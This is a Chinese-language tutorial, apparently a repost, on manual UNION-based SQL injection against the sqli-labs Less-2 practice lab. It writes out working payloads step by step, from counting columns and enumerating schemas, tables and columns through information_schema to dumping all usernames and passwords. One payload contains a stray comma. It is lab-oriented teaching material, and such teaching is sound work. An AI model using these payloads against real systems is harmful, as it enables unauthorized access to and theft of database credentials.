主頁(yè) > 知識(shí)庫(kù) > sql注入之手工注入示例詳解

sql注入之手工注入示例詳解

熱門標(biāo)簽:簡(jiǎn)單的智能語(yǔ)音電銷機(jī)器人 南昌呼叫中心外呼系統(tǒng)哪家好 湖南保險(xiǎn)智能外呼系統(tǒng)產(chǎn)品介紹 怎么去開(kāi)發(fā)一個(gè)電銷機(jī)器人 怎么申請(qǐng)400熱線電話 小程序智能電話機(jī)器人 河北便宜電銷機(jī)器人軟件 泗洪正規(guī)電話機(jī)器人找哪家 ai電話電話機(jī)器人

前言

這篇文章就是一個(gè)最基本的SQl手工注入的過(guò)程了。基本上在sqlilabs上面的實(shí)驗(yàn),如果知道了其中的全部知識(shí)點(diǎn),都可以通過(guò)以下的步驟進(jìn)行脫褲。下面的這個(gè)步驟也是其他的脫褲手段的基礎(chǔ)。如果想要精通SQL注入,那么這個(gè)最基本的脫褲步驟是必須了解和掌握的。

為了方便說(shuō)明,我們還是用之前的數(shù)字型的注入點(diǎn)為例來(lái)進(jìn)行說(shuō)明。

得到字段總數(shù)

在前面的介紹中,我們已經(jīng)知道在http://localhost/sqlilabs/Less-2/?id=1id是一個(gè)注入點(diǎn)。

后臺(tái)的SQL語(yǔ)句的寫(xiě)法大致為

select username,password,[....] from table where id=userinput

那么我們通過(guò)使用order by的語(yǔ)句來(lái)判斷select所查詢字段的數(shù)目。

那么payload變?yōu)椋?/p>

http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....

當(dāng)使用order by 4時(shí)程序出錯(cuò),那么select的字段一共是3個(gè)。

得到顯示位

在頁(yè)面上會(huì)顯示從select中選取的字段,我們接下來(lái)就是要判斷顯示的字段是哪幾個(gè)字段。

使用如下的payload(兩者均可)進(jìn)行判斷。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3 
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3

當(dāng)使用個(gè)如上的payload時(shí),頁(yè)面的顯示如下:

通過(guò)如上的頁(yè)面顯示就可以知道,頁(yè)面中顯示的是第2位和第3位的信息。

查選庫(kù)

在知道了顯示位之后,那么接下來(lái)就可以通過(guò)顯示位來(lái)顯示我們想知道的信息,如數(shù)據(jù)庫(kù)的版本,用戶信息等等。那么我們使用如下的payload就可以知道相關(guān)的信息。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()

此時(shí)頁(yè)面的顯示為:

可以看到在頁(yè)面上就出現(xiàn)了數(shù)據(jù)庫(kù)的版本信息和當(dāng)前使用的數(shù)據(jù)庫(kù)信息。

那么接下來(lái)我們通過(guò)這種方式知道數(shù)據(jù)庫(kù)中所有的數(shù)據(jù)庫(kù)的名稱。

payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到第一個(gè)庫(kù)名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二個(gè)庫(kù)名
...

查選表名

由于database()返回的就是當(dāng)前web程序所使用的數(shù)據(jù)庫(kù)名,那么我們就利用database()來(lái)查詢所有的表信息。當(dāng)然在上一步中。我們也已經(jīng)知道當(dāng)前的database就是security

那么我們構(gòu)造的payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

這樣我們就得到當(dāng)前數(shù)據(jù)庫(kù)下所有的表名了。頁(yè)面返回的結(jié)果是:

所以我們知道在當(dāng)前的數(shù)據(jù)庫(kù)中存在4張表,分別是emails,referers,uagents,users。

查選列名

在知道了表名之后,接下來(lái)我們利用information_schema.columns就可以根據(jù)表名來(lái)獲取當(dāng)前表中所有的字段。

payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六進(jìn)制)

頁(yè)面的顯示結(jié)果如下:

通過(guò)這個(gè)語(yǔ)句,我們就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password這些字段。但是我本地測(cè)試的測(cè)試的時(shí)候,這個(gè)存在一個(gè)問(wèn)題,實(shí)際上在security數(shù)據(jù)庫(kù)的users的表中,只有id,username,password這3個(gè)字段,其他的字段都是其他數(shù)據(jù)庫(kù)的中users表的字段名。

通過(guò)上面的payload,我們也同樣可以知道在emails,referers,uagents中的字段名稱。

但是有的時(shí)候后臺(tái)的代碼可能僅用了使用where子句,那么這個(gè)時(shí)候就無(wú)法通過(guò)information_schema.coumns來(lái)得到列名了,這個(gè)時(shí)候只能夠根據(jù)你自己多年的黑客經(jīng)驗(yàn)來(lái)進(jìn)行猜解了。猜解的方法也是比較的簡(jiǎn)單,使用exists子句就可以進(jìn)行猜解了。假設(shè)在我們已經(jīng)知道了表名的情況下(當(dāng)然猜解表名也使用通過(guò)exists子句來(lái)完成)。

猜解的語(yǔ)句如下:

http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)

主要的語(yǔ)句就是exists(select 需要猜解的列名 from users)這種句式。如果在users表中不存在uname列名,則頁(yè)面不會(huì)顯示內(nèi)容或者是直接出現(xiàn)sql的錯(cuò)誤語(yǔ)句。

如下如所示:

下面這個(gè)就是猜解到了users表中存在的字段。

http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)

猜測(cè)在users表中存在username列,上面的語(yǔ)句程序可以正常第返回結(jié)果,那么壽命在users表中確實(shí)存在username列名。

脫褲

在知道了當(dāng)前數(shù)據(jù)庫(kù)所有的表名和字段名之后,接下來(lái)我們就可以dump數(shù)據(jù)庫(kù)中所有的信息了。比如我們下載當(dāng)前users表中所有的數(shù)據(jù)。

可以使用如下的payload:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users

就可以得到users表中所有的usernamepassword的數(shù)據(jù)了,通過(guò)這種方式也能夠得到其他表中的數(shù)據(jù)了。

總結(jié)

以上就是說(shuō)sql手工注入的完整示例介紹,不知道大家都學(xué)會(huì)了?小編還需繼續(xù)更新關(guān)于sql注入的文章,請(qǐng)繼續(xù)關(guān)注腳本之家。

您可能感興趣的文章:
  • 利用SQL注入漏洞登錄后臺(tái)的實(shí)現(xiàn)方法
  • 有效防止SQL注入的5種方法總結(jié)
  • 利用SQL注入漏洞拖庫(kù)的方法
  • SQL注入中繞過(guò) 單引號(hào) 限制繼續(xù)注入
  • MySQL 及 SQL 注入與防范方法
  • 防御SQL注入的方法總結(jié)
  • SQL數(shù)據(jù)庫(kù)的高級(jí)sql注入的一些知識(shí)
  • SQL 注入式攻擊的終極防范
  • 關(guān)于SQL注入中文件讀寫(xiě)的方法總結(jié)
  • sql注入教程之類型以及提交注入

標(biāo)簽:威海 景德鎮(zhèn) 柳州 江蘇 那曲 荊門 瀘州 淮安

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《sql注入之手工注入示例詳解》,本文關(guān)鍵詞  sql,注入,之,手工,示例,詳解,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《sql注入之手工注入示例詳解》相關(guān)的同類信息!
  • 本頁(yè)收集關(guān)于sql注入之手工注入示例詳解的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章